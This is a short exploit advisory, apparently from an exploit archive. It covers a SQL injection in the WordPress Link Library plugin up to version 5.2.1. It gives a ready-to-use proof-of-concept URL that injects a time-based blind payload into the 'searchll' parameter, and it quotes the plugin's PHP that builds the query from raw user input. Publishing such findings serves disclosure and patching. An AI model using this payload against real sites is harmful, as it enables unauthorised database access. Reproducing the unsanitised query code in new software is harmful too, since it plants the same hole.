WordPress Plugin Link Library 5.2.1 - SQL Injection

# Exploit Title: WordPress Link Library plugin <= 5.2.1 SQL Injection Vulnerability
# Date: 2011-09-16
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/link-library.zip
# Version: 5.2.1 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/link-library/link-library-ajax.php?searchll=-1')/**/AND/**/1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23

---------------
Vulnerable code
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./link-library-ajax.php:
    echo $my_link_library_plugin->LinkLibrary(...);

./link-library.php:
    class link_library_plugin {
        ...
        function LinkLibrary(...) {
            return $this->PrivateLinkLibrary(...)
        ...
        function PrivateLinkLibrary(...) {
            ...
            if ($_GET['searchll'] != "")
            {
                $searchterms = explode(" ", $_GET['searchll']);

                if ($searchterms)
                {
                    $mode = "search";
                    $termnb = 1;

                    foreach($searchterms as $searchterm)
                    {
                        if ($termnb == 1)
                        {
                            $linkquery .= " AND (link_name like '%" . $searchterm . "%' ";
                            $termnb++;
                        }
            ...
            $linkitems = $wpdb->get_results($linkquery, ARRAY_A);